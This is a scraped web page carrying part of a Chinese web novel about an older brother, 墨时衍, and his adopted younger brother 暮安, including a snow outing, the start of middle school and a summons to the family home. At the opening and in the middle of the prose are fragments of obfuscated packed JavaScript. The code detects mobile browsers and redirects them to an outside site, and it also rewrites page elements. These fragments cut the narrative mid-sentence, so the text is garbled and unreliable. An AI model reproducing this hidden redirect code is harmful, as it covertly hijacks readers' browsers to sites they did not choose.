l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051702|179055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他赶紧在墨时衍身旁蹲下,两手在雪地里使劲扒拉。 墨时衍俯身摸了下他的手,见他手套又不知道丢哪去了,便把自己手套给他戴上。 暮安五根短短的手指在手套里来回晃荡:“这样我都不方便做雪球了。” 墨时衍沉声:“不准摘。” 暮安缩了缩脖子:“我不想戴……” 本来就是哄他玩的,墨时衍没想训他。 语气柔缓了些,耐心道:“不戴手套一会你的手就被冻没知觉了,还怎么给我做后备队?” 暮安想了想,觉得有道理,便乖乖戴着了。 墨时衍一边负责进攻,还要一边注意帮地上的暮安防守。 原本只是给暮安顺顺气,谁知道最后演变成一场雪球大战。 赵舟部队里出来的,准头没话说,墨时衍实战经验比不过,但天赋实力摆在那,最后双方都被砸的满身是雪。 后备队小队长暮安还直接被丢进了雪堆里,一边哈哈大笑一边吃了几口雪。 雪仗打过瘾了,气也彻底消了。 暮安额角都出了点汗,脸颊透红,眼睛清凌凌的。 他把手套摘了,过去塞回哥哥口袋里,却见哥哥手背发红,伸手过去摸一摸,冷得像冰一样。 暮安心里顿时一软,把两只热乎乎的小手都塞进哥哥手心里。 墨时衍避开,他不依不饶又塞进去,嘴里嚷嚷:“别动别动,你手太冷了,我给暖暖。” 是他戴了哥哥的手套,他给哥哥暖手天经地义。 回到套房后墨时衍先抓着暮安去浴室洗个热水澡,还让他喝了一大碗热汤,好在暮安虽然身体娇贵,但一直活蹦乱跳没生病,甚至还缠着墨时衍给他买个雪糕,他也想试试在雪地里吃雪糕是什么滋味。 临走前墨时衍给他买了个小只冰激凌,暮安虔诚接过,眼神炽热地快把冰激凌盯出个洞,但还是忍痛把第一口让出来,举着努力凑到墨时衍唇边。 “哥哥尝尝。” 墨时衍不爱吃甜的他知道,但他磨人劲上来了,不达目的不罢休。 “尝尝嘛,肯定很好吃的,我看别人都在雪天吃冰激凌,我们也试试。” 墨时衍不想扫他的兴,纡尊降贵尝了口,只在唇边沾了点,卷进舌尖,任由甜腻奶油慢慢融化开。 暮安连忙问:“好吃吗?” 墨时衍:“太凉。” 暮安自己吃了一大口,美得摇头晃脑:“不凉呢。” 墨时衍给他擦了下嘴,嘱咐:“小口吃。” 暮安乖乖点头,开始小口小口品尝他的雪天冰激凌,趁着墨时衍不注意的时候再偷偷吃一大口。 确实要比夏天吃起来更甜呢。 开学后暮安没少跟墨轩竹和姜兴澜讲自己去北市比赛的事,比赛结果不怎么重要,他确实得了金奖,但那也只是他以后众多奖项中最普通的一个。 可第一次看雪,第一次打雪仗,第一次在雪天吃冰激凌,却是太难忘的回忆。 后两年的美术大赛地点都设置在了南方,不过暮安没再参加过,本来就不是什么多有含金量的比赛,墨时衍当时说让他去玩玩就是玩玩,没认真。 想参加点上规格的大赛要求年龄不低于14岁,暮安就算上了初中也还得过两年才能参加。 他的初中学校是墨时衍精心挑的,一所初高中五年连贯制的私立学校——囿德公学,虽然不像港市新兴的其他贵族学校那样声名显赫招牌光鲜,但也是低调实力的老牌名校,最主要的是教学方式老派,管理十分严格,对学生成绩要求很高,不单是有权有势就能进。 好在墨轩竹在五六年级也知道好好学习,成绩上来不少,成功跟姜兴澜和暮安上了同所学校。 只不过囿德公学另有条死规定——所有学生初二开始必须集体住校。 知道这个消息后的准初中生暮安顿时感觉天都塌了。 17.第 17 章 暮安确实有轻微的分离焦虑,他没法跟墨时衍分开太长时间。 小时候是,现在也是。 钟姨经常说有钱人家没这么养孩子的,对暮安的任何事墨时衍都亲力亲为,不曾假手他人,这么多年,在他自己还是个十几岁的孩子时就已经知道怎么疼弟弟,亲生父母能做到这个份上的都不多,更别说一个没有任何血缘的哥哥。 在暮安上五年级的时候有次墨时衍去外地出差,一来一回最少要一个星期,那七天暮安住在墨轩竹家里简直度日如年,每天一睁眼就是给墨时衍发消息问他今天能回来吗,得到否定的回答后一整天都心情不好,耷拉着小脸做什么都没滋没味。 晚上睡觉前也要给墨时衍打视频,聊东聊西一直聊到自己在屏幕这端睡着,视频则一直开着直到他手机没电关机。后来墨时衍去接他的时候他抱着哥哥哭得稀里哗啦,就算被墨轩竹嘲笑也顾不得了。 他就是想念哥哥,很想很想。 墨时衍近两年刚接管墨氏,集团内部错综复杂的旁支左系就够他头疼,港市作为墨氏老总部,很多管理高层更是和本地关系网盘根错节,牵一发而动全身,墨氏在国内的产业依旧被二房三房等人分散着,若想一步步收回来还需用些强硬手段。 这时候就体现出了老爷子多有先见之明,一开始就把墨时衍带在身边当作接班人培养,少年期的他就已经早熟,沉稳,周全,说话做事有着超脱年龄的圆滑,滴水不漏,很有大家长的范。 这些年这种特质磨砺的越来越明显,墨时衍虽然年纪尚轻,但在外总是冷淡话少,已经有了说一不二矜贵冷傲的上位者姿态,行事也越来越独断,凡事总喜欢牢牢掌控在自己手里。 这一点在对暮安的教育上也有所体现,很多事情一旦形成了某种既定习惯,经年累月,难再改变。 而暮安是被他捧在手心里仔细呵护着长大的,小孩子就是谁带大的跟谁亲,暮安只有哥哥,和哥哥亲近是他一直以来都在做的事。 初中开学那天,墨时衍把暮安送到校门口,像之前无数次那样看着他背着书包走进去。 当初的小萝卜头不知不觉已经长这么高了,脸也长开了些,人群中就连背影都显眼。 虽说暮安后来没再因为APD进过医院,但主要是因为墨时衍把他保护的好,手环更新迭代,换了一个又一个,从没让他再受到过任何信息素干扰。 赵舟问需不需要去校长办公室坐坐,毕竟暮安要在这上五年,跟校方那边打个招呼也对暮安有好处。 墨时衍看了眼时间,最终还是没进校门,只让赵舟另外找时间安排,豪车在门口拐了个弯,直奔墨氏大厦。 初一分班是根据小学综合成绩评定,暮安跟姜兴澜都分在了所谓的卓越班,墨轩竹则进了平行班。 暮安的新同桌是个白白净净的小男生,名字叫宋愿,很好相处,看暮安开学第一天忘记带新笔记本还借给他一个,冲他友善的笑了笑,脸颊上露出两个小小的梨涡。 暮安对新同桌很喜欢,下课后跟宋愿坐在位置上聊起来。 教室后门被人敲得邦邦响。 “暮安——暮安——” 墨轩竹毫不顾忌地站在卓越班门口喊人,几年过去,原先那个小胖墩早已抽条,现在瘦瘦高高,打了一暑假篮球有点晒黑了,但不妨碍一张帅脸,走在路上也能吸引不少目光。 暮安还没动,倒是坐在后排的姜兴澜先跳过去给了他一脚。 “吵什么啊,没看见我们班学霸都学习呢吗,你一个平民也敢在这造次!” 墨轩竹回手勒住他脖子:“找你了吗,我找我弟呢,少打岔。” 姜兴澜挣了几下没挣脱:“你暑假是不打激素去了?怎么劲变得这么大了?猪不能打激素你知不知道!” 墨轩竹的外号十有八九都是姜兴澜起的,两人从小学时候起就一直吵吵闹闹,这么多年还没闹够。 墨轩竹故意使了点劲,恶狠狠道:“我还能打你你信不信?” 姜兴澜彻底被制服,他小时候就打不过墨轩竹,没想到长大了还是打不过。 “我信我信我信!哥哥哥,赶紧松开我,快被你勒死了!” 墨轩竹把他推一边去,干脆直接迈步进了卓越班教室,大摇大摆走到暮安桌前,两手撑在他桌上。 “我刚才喊你没听见呢,还跟同学聊得挺欢。” 暮安根本不怕他,开心地跟他介绍:“这是我同桌宋愿,原来我们以前是一个小学的,可能还见过呢。” 墨轩竹冲宋愿点了点头,算是打过招呼。 “别说那些没用的了,快上课了我就来问你一声,你下午放学去不去我家吃饭?我妈说时衍哥应该得去老宅那边,就连我爸都会去露个面,你不是不参与那边的事吗,干脆去我家得了。” 只要墨时衍有事不回家吃饭,暮安一般都会直接被接去墨轩竹家,以前是他年纪小,一个人呆在家总归让人不放心,但他们现在都初中了,在大人眼里还是没长大的小孩。 暮安想了想,摇头:“算啦,我还是不去了。” 墨轩竹不解:“为啥不去我家?你自己回家自己吃饭啊?时衍哥肯定不放心,到时候让韩叔再把你送过去,还不如你直接跟我一起回去了。” 暮安还是坚持:“真的不用了,你跟叔母说一声我自己在家没事的,家里还有韩叔钟姨他们呢,再说我都这么大了,也不能总是麻烦叔父叔母。” 这话墨轩竹不爱听:“什么叫麻烦啊,那以前我老去你家住的时候,你和时衍哥也觉得我麻烦?” 暮安赶紧解释:“不是不是,没有嫌你麻烦。” 上课铃声响起来,墨轩竹只得快速说道:“你再想想吧,放学我再来找你。” 说完便急匆匆回了自己班。 暮安确实认真想过了,可早上哥送他来上学的时候都没跟他讲晚上要去老宅的事,这么多年,哥总共回老宅的次数一只手都数得出来,虽然他从没跟着去过,但他记得每次哥从老宅回来后心情都不怎么好。 暮安本能不想让哥回那边,可哥到底是墨家人,姓墨,这是没法割舍的血缘。 下午放学墨轩竹在校门口等着,见暮安跟宋愿和姜兴澜一起出来,又过去问了他一遍:“你真不去我家啊?我妈还让我必须把你带回去呢,不然又该骂我了。” 暮安往路边看了眼,见到了熟悉的黑车,眼里顿时冒出亮光。 他就知道哥没说过的事肯定不准,这不是来接他了吗。 “不去啦不去啦,”暮安笑眯眯的,“我看到我哥车了,我先走啦,拜拜。” 他冲几人挥挥手,蹦蹦跳跳朝着那辆黑车跑过去。 宋愿也跟剩下两人挥手作别,最后姜兴澜欠兮兮地跟着墨轩竹回家蹭饭去了。 暮安拉开后座车门,开心地喊了声:“哥——” 可后座空荡荡的,压根没人,只有赵舟坐在驾驶座对他道:“放学了小少爷。” 暮安脸上的笑容僵了瞬,弯弯的眼尾也垮下来,把后背的书包扔进去,坐上车关了门。 赵舟察觉到他的低气压,解释了句:“墨总今晚有点事,让我来接你放学然后送你去轩竹家,吃完晚饭再带你回去,墨总可能晚点再回。” 没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054249|179055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到竟然跟墨轩竹说得一样,暮安好半天没吭声,手托着脸颊看向窗外。 赵舟也不知道怎么哄他,暮安的脾气向来只有墨时衍摸得清,制得服,其他人用什么招都白搭。 过了会暮安忽然问道:“哥回老宅了吗?” 赵舟顿了顿:“是。” 暮安连忙扒着座椅靠过来:“回去做什么呢?那边又找事了吗?没出什么事吧?哥有没有什么事情瞒着我?” 长大了就是不好骗,不像小时候还能找个借口搪塞过去。 赵舟实话道:“没出什么事,是为了老爷子的祭奠事宜,墨总操持的这件事,当然要回去主事。” 老爷子在美国去世,回国后海葬,牌位这些年一直供奉在兰佩斯岛后山,现在墨时衍主事,要将老爷子牌位迁回墨家老宅宗祠。 这算是大事,墨家各房长辈宗老和有名有姓的小辈都要到场祭奠。 暮安没见过爷爷,可也知道那是真正把他从福利院接出来的人,也是让他和哥哥都有了家的人。 “我可以去吗?”暮安问道。 赵舟:“应该不行,墨总没吩咐带您过去。” 暮安:“你问过了吗?” “……” 赵舟诚实道:“没有。” “万一哥其实同意呢,只是他以为我不想去而已,”暮安有理有据,“你把手机给我,我自己问。” 车已经快开到墨轩竹家的别墅区,暮安磨人的功夫一流,赵舟只好在路边停了车,给墨时衍拨过去个电话,接通后递给暮安。 “哥,是我,”暮安直截了当,“我想去找你。” 听筒那边传来的嗓音又低又沉,拒绝也是直截了当:“不行。” 暮安心里顿时涌出股委屈,软声喊了句:“哥哥。” 对面语气果然也温柔了几分:“你乖点,先去叔父家。” 暮安忙道:“我只是想去看看爷爷,不可以吗?” 耳边传来些轻微的嘈杂声,好像人很乱很多。 暮安不等墨时衍回答继续道:“我保证会很乖的,不会不听话,也不会惹麻烦,或者你要是不放心的话,我就远远看一眼也可以,看完我就走,这样行吗?” 暮安被教育的很好,知道感恩,知道孝顺,以后祭奠老爷子可能都要回墨家老宅宗祠,那他以后想再看爷爷可能就不太方便了。 暮安低下头,声音小了点:“我不会告诉别人我是你弟弟的……” 那边无奈地笑了声:“想什么呢。” 暮安七想八想,怎么想都觉得哥哥不带自己回老宅只有这一个理由,心里都快难过死了,却听见对面居然还能笑的出来,委屈的眼尾都开始泛红。 “你不就是这么想的……” 听筒内的嘈杂声没了,对面人应该是走到个安静地方,静到能听见几声沉缓的呼吸。 沉声问道:“我怎么想的?” “你就是不想让人知道我,”暮安瘪着嘴,“不想让人知道你有个弟弟。” 这个帽子扣的大,但凡墨时衍敢说一句是,暮安今天就能哭出一片兰佩斯湾。 对面似乎轻叹了声,说道:“把手机还给赵舟。” 暮安小脸还垮着,手一伸直接把手机扔赵舟腿上,自己趴到后排座椅上不出声了。 赵舟接过电话,应了几声,车子便在路上拐了个弯。 暮安觉得不太对,抬头看了眼,周边的街景已经变得异常陌生,他还没反应过来,问道:“是不是开错路了,这不是去叔母家的路。” 赵舟从后视镜内看了他一眼:“这是回老宅的路。”